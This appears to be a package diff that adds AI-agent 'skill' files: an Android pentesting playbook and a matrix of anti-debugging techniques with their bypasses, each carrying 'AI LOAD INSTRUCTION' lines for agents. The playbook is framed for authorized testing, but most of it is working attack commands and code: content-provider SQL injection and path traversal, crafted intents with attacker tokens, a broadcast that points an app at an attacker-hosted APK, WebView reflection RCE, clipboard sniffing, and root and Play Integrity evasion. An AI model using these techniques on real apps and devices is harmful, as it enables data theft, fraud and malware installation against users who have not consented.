ineedcodes 1.6.0 → 1.7.0

package/skills/android-pentesting-tricks/SKILL.md

@@ -0,0 +1,369 @@
+---
+name: android-pentesting-tricks
+description: >-
+  Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.gated: true
+---
+
+# SKILL: Android Pentesting Tricks — Expert Attack Playbook
+
+> **AI LOAD INSTRUCTION**: Expert Android application security testing techniques. Covers SSL pinning bypass (Frida/Objection/LSPosed), component exposure, WebView exploitation, intent redirection, root detection bypass, and Play Integrity evasion. Base models miss Frida hook specifics and multi-layer bypass chains.
+
+## 0. RELATED ROUTING
+
+Before going deep, consider loading:
+
+- [mobile-ssl-pinning-bypass](../mobile-ssl-pinning-bypass/SKILL.md) for in-depth cross-platform SSL pinning bypass techniques and framework-specific hooks
+- [ios-pentesting-tricks](../ios-pentesting-tricks/SKILL.md) when also testing the iOS version of the same app
+- [api-sec](../api-sec/SKILL.md) for backend API security testing once traffic is intercepted
+
+### Advanced Reference
+
+Also load [FRIDA_SCRIPTS.md](./FRIDA_SCRIPTS.md) when you need:
+- Ready-to-use Frida script templates for common Android testing tasks
+- Detailed hook points for OkHttp, Retrofit, Volley, WebView
+- Root detection bypass script collection
+
+---
+
+## 1. SSL PINNING BYPASS
+
+### 1.1 Frida Universal Bypass
+
+```bash
+# Install Frida server on device
+adb push frida-server-16.x.x-android-arm64 /data/local/tmp/
+adb shell "chmod 755 /data/local/tmp/frida-server-16.x.x-android-arm64"
+adb shell "/data/local/tmp/frida-server-16.x.x-android-arm64 &"
+
+# Universal SSL pinning bypass
+frida -U -l ssl_pinning_bypass.js -f com.target.app --no-pause
+```
+
+| Hook Point | Library/Class | Coverage |
+|---|---|---|
+| `X509TrustManager.checkServerTrusted` | Android SDK | All standard HTTPS |
+| `OkHttpClient.Builder.sslSocketFactory` | OkHttp 3.x/4.x | Square OkHttp |
+| `CertificatePinner.check` | OkHttp 3.x/4.x | OkHttp pinning |
+| `HttpsURLConnection.setSSLSocketFactory` | Android SDK | Legacy HTTPS |
+| `SSLContext.init` | Android SDK | Custom SSL contexts |
+| `WebViewClient.onReceivedSslError` | WebView | WebView SSL errors |
+| `TrustManagerFactory.getTrustManagers` | Android SDK | Factory-created TMs |
+
+### 1.2 Objection (Quick Method)
+
+```bash
+objection -g com.target.app explore
+# Inside Objection REPL:
+android sslpinning disable
+```
+
+### 1.3 Network Security Config (Debug Builds)
+
+If you can modify the APK or it's a debug build:
+
+```xml
+<!-- res/xml/network_security_config.xml -->
+<network-security-config>
+  <debug-overrides>
+    <trust-anchors>
+      <certificates src="user" />  <!-- Trust user-installed CAs -->
+    </trust-anchors>
+  </debug-overrides>
+</network-security-config>
+```
+
+### 1.4 Magisk Module Approach
+
+| Module | Method | Scope |
+|---|---|---|
+| LSPosed + TrustMeAlready | Hooks system-wide TrustManager | All apps |
+| LSPosed + SSLUnpinning | Targeted SSL bypass | Per-app |
+| MagiskTrustUserCerts | Moves user CA to system store | All apps trusting system CAs |
+| ConscryptTrustUserCerts | Patches Conscrypt | Newer Android (7+) |
+
+---
+
+## 2. COMPONENT EXPOSURE
+
+### 2.1 Exported Activities
+
+```bash
+# Find exported activities (AndroidManifest.xml or aapt)
+aapt dump xmltree target.apk AndroidManifest.xml | grep -B 5 "exported.*true"
+
+# Launch exported activity directly
+adb shell am start -n com.target.app/.AdminActivity
+adb shell am start -n com.target.app/.DeepLinkActivity \
+  -d "target://callback?token=attacker_token"
+
+# With extra data
+adb shell am start -n com.target.app/.TransferActivity \
+  --es "amount" "99999" --es "recipient" "attacker"
+```
+
+### 2.2 Content Providers
+
+```bash
+# Query exposed content providers
+adb shell content query --uri content://com.target.app.provider/users
+
+# SQL injection in content provider
+adb shell content query --uri "content://com.target.app.provider/users" \
+  --where "1=1) UNION SELECT sql,2,3 FROM sqlite_master--"
+
+# Path traversal in file-providing content provider
+adb shell content read --uri "content://com.target.app.fileprovider/../../../../etc/hosts"
+```
+
+| Provider Type | Attack Vector | Impact |
+|---|---|---|
+| Database-backed | SQL injection via `query()` projection/selection | Data leak, auth bypass |
+| File-backed | Path traversal via URI | Read arbitrary files |
+| Parcelable | Type confusion in custom Parcelable | Code execution |
+
+### 2.3 Broadcast Receivers
+
+```bash
+# Send crafted broadcast
+adb shell am broadcast -a com.target.app.ACTION_UPDATE \
+  --es "url" "http://attacker.com/malicious.apk"
+
+# Ordered broadcast interception (higher priority receiver intercepts first)
+# Register receiver with higher priority than target to intercept/modify data
+```
+
+### 2.4 Exported Services
+
+```bash
+# Start/bind to exported service
+adb shell am startservice -n com.target.app/.BackgroundService \
+  --es "command" "exfiltrate"
+
+# List running services
+adb shell dumpsys activity services | grep com.target
+```
+
+---
+
+## 3. WEBVIEW VULNERABILITIES
+
+### 3.1 JavaScript Interface RCE (Pre-API 17)
+
+```java
+// Vulnerable code: addJavascriptInterface without @JavascriptInterface annotation
+webView.addJavascriptInterface(new JSInterface(), "android");
+
+// Pre-API 17: Reflection-based RCE via injected JavaScript
+// Inject into WebView:
+// android.getClass().forName('java.lang.Runtime')
+//   .getMethod('getRuntime').invoke(null).exec('id')
+```
+
+### 3.2 Modern WebView Attacks
+
+| Vulnerability | Condition | Exploit |
+|---|---|---|
+| `setJavaScriptEnabled(true)` + untrusted content | JS enabled + attacker controls loaded URL | XSS → bridge access |
+| `setAllowFileAccessFromFileURLs(true)` | file:// can read other file:// | Load `file:///data/data/com.target/...` |
+| `setAllowUniversalAccessFromFileURLs(true)` | file:// can access any origin | Exfiltrate via XHR to attacker |
+| `loadUrl(user_controlled)` | User input in loadUrl | javascript: scheme or file:// |
+| `shouldOverrideUrlLoading` bypass | Incomplete URL validation | Redirect to attacker-controlled page |
+| `evaluateJavascript` with tainted data | User data in JS execution | XSS in WebView context |
+
+### 3.3 Deep Link to WebView Chain
+
+```
+1. Attacker crafts deep link: target://webview?url=https://attacker.com/xss.html
+2. App opens WebView with attacker URL
+3. XSS in WebView calls JavaScript bridge: android.sensitiveMethod()
+4. Bridge executes in app context with app's permissions
+```
+
+---
+
+## 4. INTENT REDIRECTION
+
+Exported activity receives an Intent and starts another (internal) activity using data from the received Intent.
+
+```java
+// Vulnerable pattern:
+Intent received = getIntent();
+Intent redirect = (Intent) received.getParcelableExtra("next_intent");
+startActivity(redirect);
+// Attacker controls "next_intent" → can start any internal activity
+```
+
+```bash
+# Exploit: start non-exported internal activity via redirection
+adb shell am start -n com.target.app/.ExportedActivity \
+  --es "next_intent" "intent:#Intent;component=com.target.app/.InternalAdminActivity;end"
+```
+
+| Pattern | Indicator | Risk |
+|---|---|---|
+| `getParcelableExtra` → `startActivity` | Intent-in-Intent | Start non-exported activities |
+| `getStringExtra("url")` → `startActivity(Intent.ACTION_VIEW)` | URL forwarding | Open arbitrary URLs |
+| `getStringExtra("class")` → `Class.forName` → `startActivity` | Dynamic class loading | Start any activity by name |
+
+---
+
+## 5. ROOT DETECTION BYPASS
+
+### 5.1 Common Root Detection Checks
+
+| Check | What It Detects | Frida Bypass |
+|---|---|---|
+| `su` binary exists | `/system/xbin/su`, `/sbin/su` | Hook `File.exists()` → return false |
+| Build tags contain "test-keys" | `Build.TAGS` | Hook `Build.TAGS` → return "release-keys" |
+| Magisk Manager installed | Package name check | Hook `PackageManager.getPackageInfo` |
+| Superuser.apk present | Su management app | Hook `File.exists()` |
+| RootBeer library | Multi-check root detection | Hook all RootBeer check methods |
+| SafetyNet/Play Integrity | Server-side attestation | Requires Magisk DenyList + module |
+| Abnormal system properties | `ro.debuggable=1`, etc. | Hook `SystemProperties.get` |
+
+### 5.2 Magisk DenyList (Previously MagiskHide)
+
+```bash
+# Enable DenyList in Magisk Manager
+# Add target app to DenyList — Magisk hides itself from that app
+# Covers: su binary, Magisk Manager package, mount points, props
+```
+
+---
+
+## 6. PLAY INTEGRITY / SAFETYNET BYPASS
+
+| Level | What It Checks | Bypass Difficulty |
+|---|---|---|
+| Basic Integrity | Not rooted, not emulator | Easy (Magisk + DenyList) |
+| Device Integrity | Bootloader locked, verified boot | Hard (requires locked bootloader) |
+| Strong Integrity | Hardware-backed attestation | Very hard (hardware TEE) |
+
+Techniques:
+- Magisk with Zygisk enabled + DenyList for target app
+- Play Integrity Fix (PIF) Magisk module: spoofs device fingerprint
+- Shamiko module: hides root from specific apps
+- Custom ROM with locked bootloader (Pixel-specific tricks)
+
+---
+
+## 7. TAPJACKING (OVERLAY ATTACKS)
+
+```xml
+<!-- Malicious overlay activity -->
+<activity android:name=".OverlayActivity"
+    android:theme="@style/TransparentTheme"
+    android:excludeFromRecents="true">
+</activity>
+
+<!-- Requires SYSTEM_ALERT_WINDOW permission (draw over other apps) -->
+```
+
+| Android Version | Protection | Bypass |
+|---|---|---|
+| Pre-6.0 | None | Full overlay |
+| 6.0–11 | `filterTouchesWhenObscured` (opt-in) | Apps not using it are vulnerable |
+| 12+ | Untrusted touches blocked for overlay windows | Partial overlays, timing-based |
+
+---
+
+## 8. BACKUP EXTRACTION
+
+```bash
+# Check if backup allowed
+aapt dump xmltree target.apk AndroidManifest.xml | grep allowBackup
+# android:allowBackup(0x01010280)=(type 0x12)0xffffffff → true (default!)
+
+# Extract backup
+adb backup -f backup.ab -apk com.target.app
+# Convert to tar
+dd if=backup.ab bs=24 skip=1 | openssl zlib -d > backup.tar
+tar xf backup.tar
+
+# Analyze extracted data
+find com.target.app -name "*.db" -o -name "*.xml" -o -name "*.json"
+# Check shared_prefs/ for tokens, credentials
+# Check databases/ for SQLite DBs with sensitive data
+```
+
+---
+
+## 9. ADDITIONAL TRICKS
+
+### 9.1 Debuggable App Exploitation
+
+```bash
+# If android:debuggable="true" in manifest
+adb shell run-as com.target.app
+# Now running as the app's user — full data directory access
+cat /data/data/com.target.app/shared_prefs/*.xml
+```
+
+### 9.2 Drozer (Component Testing Framework)
+
+```bash
+# List attack surface
+dz> run app.package.attacksurface com.target.app
+# Exported Activities: 3
+# Exported Services: 1
+# Exported Providers: 2
+
+# Query provider
+dz> run app.provider.query content://com.target.app.provider/users
+# Scan for injection
+dz> run scanner.provider.injection -a com.target.app
+```
+
+### 9.3 Clipboard Sniffing
+
+```java
+// Pre-Android 10: any app can read clipboard
+ClipboardManager cm = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
+cm.addPrimaryClipChangedListener(() -> {
+    ClipData data = cm.getPrimaryClip();
+    // Exfiltrate copied passwords, tokens, etc.
+});
+```
+
+---
+
+## 10. ANDROID PENTESTING DECISION TREE
+
+```
+Testing Android application
+│
+├── Can intercept HTTPS traffic?
+│   ├── No → SSL pinning in place
+│   │   ├── Frida available? → universal SSL bypass script (§1.1)
+│   │   ├── Rooted + Magisk? → LSPosed + TrustMeAlready (§1.4)
+│   │   ├── Debug build? → Network Security Config (§1.3)
+│   │   └── None above? → manual decompile + patch + repackage
+│   └── Yes → proceed to traffic analysis
+│
+├── Exported components found?
+│   ├── Exported Activities → test direct launch, deeplink abuse (§2.1)
+│   ├── Content Providers → SQLi, path traversal (§2.2)
+│   ├── Broadcast Receivers → crafted intent injection (§2.3)
+│   └── Services → unauthorized service binding (§2.4)
+│
+├── WebView present?
+│   ├── JavaScript enabled + JS interface? → bridge exploitation (§3.1)
+│   ├── File access enabled? → file:// scheme abuse (§3.2)
+│   └── Deep link → WebView? → URL injection chain (§3.3)
+│
+├── Intent handling found?
+│   └── Intent-in-Intent pattern? → redirect to internal activity (§4)
+│
+├── Root detection blocking testing?
+│   ├── Client-side checks only? → Frida hook bypass (§5.1)
+│   ├── SafetyNet/Play Integrity? → Magisk DenyList + modules (§6)
+│   └── Custom obfuscated checks? → reverse engineer + targeted hooks
+│
+├── Sensitive data storage?
+│   ├── allowBackup=true? → ADB backup extraction (§8)
+│   ├── Debuggable? → run-as for direct data access (§9.1)
+│   └── SharedPreferences → check for plaintext tokens/credentials
+│
+└── UI-based attacks applicable?
+    └── Overlay possible? → tapjacking (§7)
+```

package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md

@@ -0,0 +1,117 @@
+# Anti-Debug Technique × OS × Detection × Bypass — Comprehensive Matrix
+
+> **AI LOAD INSTRUCTION**: Load this when you need the full cross-reference of anti-debugging techniques, their OS applicability, detection methods, bypass tools, reliability ratings, and false-positive notes. Assumes the main [SKILL.md](./SKILL.md) is already loaded for conceptual understanding.
+
+---
+
+## 1. LINUX ANTI-DEBUG MATRIX
+
+| # | Technique | Detection Method | Reliability | Bypass Method | Bypass Tool | False Positives |
+|---|---|---|---|---|---|---|
+| L1 | `ptrace(PTRACE_TRACEME)` | Self-attach; fails if already traced | High | `LD_PRELOAD` shim, NOP patch, GDB `catch syscall` | GDB, gcc | None — definitive |
+| L2 | `/proc/self/status` TracerPid | Read TracerPid field; non-zero = traced | High | Hook `fopen`/`fread`, FUSE mount, patch string | Frida, LD_PRELOAD | Container environments may show artifacts |
+| L3 | `/proc/self/maps` scanning | Search for debugger/instrumentation libraries | Medium | Filter maps output via hook, rename agent libs | Frida (rename gadget.so) | Security tools may trigger |
+| L4 | `rdtsc` timing | Measure cycle count delta between two points | Medium | Fix registers at BP, hook timing source | GDB scripts, Frida | High CPU load can cause false positives |
+| L5 | `clock_gettime` timing | Similar to rdtsc but via syscall | Medium | Hook `clock_gettime`, return controlled values | Frida, LD_PRELOAD | System load variation |
+| L6 | `SIGTRAP` handler | Install handler, raise SIGTRAP; debugger swallows it | High | GDB: `handle SIGTRAP nostop pass` | GDB | None |
+| L7 | `SIGSTOP`/`SIGCONT` self-send | Send SIGSTOP to self, measure if debugger intervenes | Low | Forward signals properly | GDB signal handling | Rare |
+| L8 | Fork + ptrace watchdog | Child attaches to parent; fails if debugger present | High | Kill child, patch fork, dual-attach | GDB (follow-fork-mode) | None |
+| L9 | `LD_PRELOAD` env check | `getenv("LD_PRELOAD")` | Low | Unset env var, hook `getenv` | Shell, Frida | Legitimate LD_PRELOAD usage |
+| L10 | Parent PID check | `getppid()` — expect init/shell, not debugger | Low | Run from shell normally, hook `getppid` | Frida | Terminal multiplexers |
+| L11 | `/proc/self/exe` readlink | Check if binary path matches expected | Low | Symlink or hook `readlink` | Shell | Custom install paths |
+| L12 | Breakpoint scanning (0xCC) | Scan `.text` for `INT3` bytes | Medium | Use hardware breakpoints only | x86 HW BP (DR0-DR3) | Legitimate 0xCC in data |
+| L13 | `prctl(PR_SET_DUMPABLE, 0)` | Prevent ptrace attach after start | Medium | Hook `prctl`, keep dumpable | LD_PRELOAD, Frida | None |
+| L14 | `personality(ADDR_NO_RANDOMIZE)` | Detect if ASLR disabled (common debugger setting) | Low | Keep ASLR enabled while debugging | GDB (don't disable ASLR) | Manual ASLR disable |
+
+---
+
+## 2. WINDOWS ANTI-DEBUG MATRIX
+
+| # | Technique | Detection Method | Reliability | Bypass Method | Bypass Tool | False Positives |
+|---|---|---|---|---|---|---|
+| W1 | `IsDebuggerPresent` | Reads `PEB.BeingDebugged` | High | Patch PEB byte, hook API | ScyllaHide, x64dbg | None |
+| W2 | `CheckRemoteDebuggerPresent` | Calls `NtQueryInformationProcess(DebugPort)` | High | Hook underlying NtQIP | ScyllaHide | None |
+| W3 | PEB.BeingDebugged | Direct PEB read (no API call) | High | Zero the byte at PEB+0x02 | ScyllaHide, manual patch | None |
+| W4 | PEB.NtGlobalFlag (0x70) | Check for `FLG_HEAP_ENABLE_*` flags | High | Zero PEB+0xBC | ScyllaHide | None |
+| W5 | Heap flags | `ProcessHeap.Flags` / `ForceFlags` | High | Patch heap header | ScyllaHide | None |
+| W6 | `NtQueryInformationProcess` DebugPort | InfoClass 0x07 → non-zero if debugged | High | Hook NtQIP, return 0 | ScyllaHide, Frida | None |
+| W7 | `NtQueryInformationProcess` DebugObjectHandle | InfoClass 0x1E → valid handle if debugged | High | Hook NtQIP, return error | ScyllaHide | None |
+| W8 | `NtQueryInformationProcess` DebugFlags | InfoClass 0x1F → 0 if debugged (inverted!) | High | Hook NtQIP, return 1 | ScyllaHide | None |
+| W9 | `OutputDebugString` timing | Measure time for ODS call (faster with debugger) | Medium | Hook ODS or fix timing | Frida | System load |
+| W10 | INT 2D | Kernel debug interrupt; byte-skip behavior differs | High | Handle in VEH, NOP patch | ScyllaHide, manual | None |
+| W11 | INT 3 (0xCC) | Breakpoint instruction behavior | Medium | Single-step past, VEH | Debugger built-in | None |
+| W12 | UD2 (#UD exception) | Invalid opcode exception handling differs | Medium | Handle in VEH | Manual | None |
+| W13 | TLS callbacks | Code runs before entry point | High | Break on TLS callback | x64dbg option, WinDbg | None |
+| W14 | `NtSetInformationThread` HideFromDebugger | Thread becomes invisible to debugger | High | Hook NtSIT, NOP the call | ScyllaHide | None |
+| W15 | DR register check | `GetThreadContext` reads DR0-DR3 | High | Hook GTC, zero DRx | ScyllaHide | None |
+| W16 | `NtQuerySystemInformation` SystemKernelDebuggerInformation | Detects kernel debugger | High (kernel) | TitanHide (kernel driver) | TitanHide | None |
+| W17 | VEH chain inspection | Walk VEH list for debugger-installed handlers | Low | Don't install VEH from debugger | Manual | Security software VEHs |
+| W18 | `CloseHandle(invalid)` | With debugger: raises exception; without: returns error | Medium | Handle exception in VEH | ScyllaHide | None |
+| W19 | `NtClose(invalid)` | Same as CloseHandle trick at NT level | Medium | Hook NtClose | ScyllaHide | None |
+| W20 | SEH-based detection | Install SEH, trigger exception, check handler invocation | Medium | Ensure correct SEH dispatch | Debugger settings | None |
+| W21 | `QueryPerformanceCounter` timing | Measure ticks between two points | Medium | Hook QPC, spoof delta | ScyllaHide, Frida | System load |
+| W22 | `GetTickCount` / `GetTickCount64` timing | Millisecond-level timing check | Medium | Hook and spoof | ScyllaHide | System load |
+| W23 | `RDTSC` instruction | Direct CPU timestamp counter | Medium | Patch comparison or hook via VEH on #UD | Frida (replace block) | CPU frequency changes |
+| W24 | Parent process check | `NtQueryInformationProcess` → check parent is explorer.exe | Low | Spoof parent PID or hook | Frida | Non-standard launchers |
+| W25 | Window class enumeration | `FindWindow("OLLYDBG")`, `FindWindow("x64dbg")` | Low | Rename debugger window class | Debugger plugin | None |
+| W26 | Process enumeration | Enumerate processes for known debugger names | Low | Rename debugger executable | Shell | None |
+| W27 | CRC / integrity check | Hash `.text` section, compare against stored value | Medium | Patch stored hash or hook CRC function | Manual, Frida | Legitimate code updates |
+| W28 | `BlockInput(TRUE)` | Lock keyboard/mouse during sensitive operations | Low | Hook `BlockInput` | ScyllaHide | None |
+
+---
+
+## 3. TOOL COMPATIBILITY MATRIX
+
+| Technique | GDB | x64dbg + ScyllaHide | WinDbg | IDA Remote | Frida | Qiling |
+|---|---|---|---|---|---|---|
+| ptrace self-attach | `catch syscall` | N/A | N/A | N/A | Hook | Emulate |
+| /proc/self/status | Manual hook | N/A | N/A | N/A | Hook fopen | Emulate |
+| PEB.BeingDebugged | N/A | Auto-patch | Manual | Plugin | Hook | Emulate |
+| NtGlobalFlag | N/A | Auto-patch | Manual | Plugin | Hook | Emulate |
+| NtQueryInformationProcess | N/A | Auto-hook | Manual | Plugin | Hook | Emulate |
+| IsDebuggerPresent | N/A | Auto-hook | `eb kernel32!IsDebuggerPresent` | Plugin | Hook | Emulate |
+| rdtsc timing | Register fixup | Spoof QPC | Manual | N/A | Replace block | Emulate |
+| INT 2D / INT 3 | Handle signal | VEH/auto | Handle exception | N/A | Replace insn | Emulate |
+| TLS callback | `starti` | Break on TLS | `sxe ld` | Break on entry | Early inject | Emulate |
+| ThreadHideFromDebugger | N/A | Auto-NOP | Manual | Plugin | Hook NtSIT | Emulate |
+| DR register check | N/A | Auto-zero DRx | Manual | N/A | Hook GTC | Emulate |
+| fork+ptrace watchdog | follow-fork-mode | N/A | N/A | N/A | Hook fork | Emulate both |
+| SIGTRAP handler | `handle pass` | N/A | N/A | N/A | Hook signal | Emulate |
+| Breakpoint scan (0xCC) | Use HW BP | Use HW BP | Use HW BP | N/A | No BP needed | Emulate |
+
+---
+
+## 4. BYPASS PRIORITY CHECKLIST
+
+Apply bypasses in this order for maximum coverage with minimum effort:
+
+```
+Phase 1 — Automated tools (covers ~80%)
+├─ Windows: Load ScyllaHide with all options checked
+├─ Linux: Set LD_PRELOAD with ptrace + timing shims
+└─ Verify: program runs past initial checks
+
+Phase 2 — TLS / early execution (covers +10%)
+├─ Break on TLS callbacks or _init functions
+└─ Patch any pre-main checks found
+
+Phase 3 — Custom checks (covers +8%)
+├─ Trace exit/abort calls → backtrack to find check
+├─ Frida hook remaining detection functions
+└─ Patch binary for persistent bypass
+
+Phase 4 — Multi-process / kernel (covers +2%)
+├─ Handle fork+ptrace with dual-process debugging
+├─ TitanHide for kernel-level debugger detection
+└─ Qiling full emulation for heavily protected targets
+```
+
+---
+
+## 5. DETECTION RELIABILITY RATING GUIDE
+
+| Rating | Meaning | Example |
+|---|---|---|
+| **High** | Definitive detection, no false positives | PEB.BeingDebugged, ptrace self-attach |
+| **Medium** | Reliable but environment-sensitive | Timing checks (CPU load affects), breakpoint scanning |
+| **Low** | Easily spoofed or many false positives | Process name enumeration, window class search, env var check |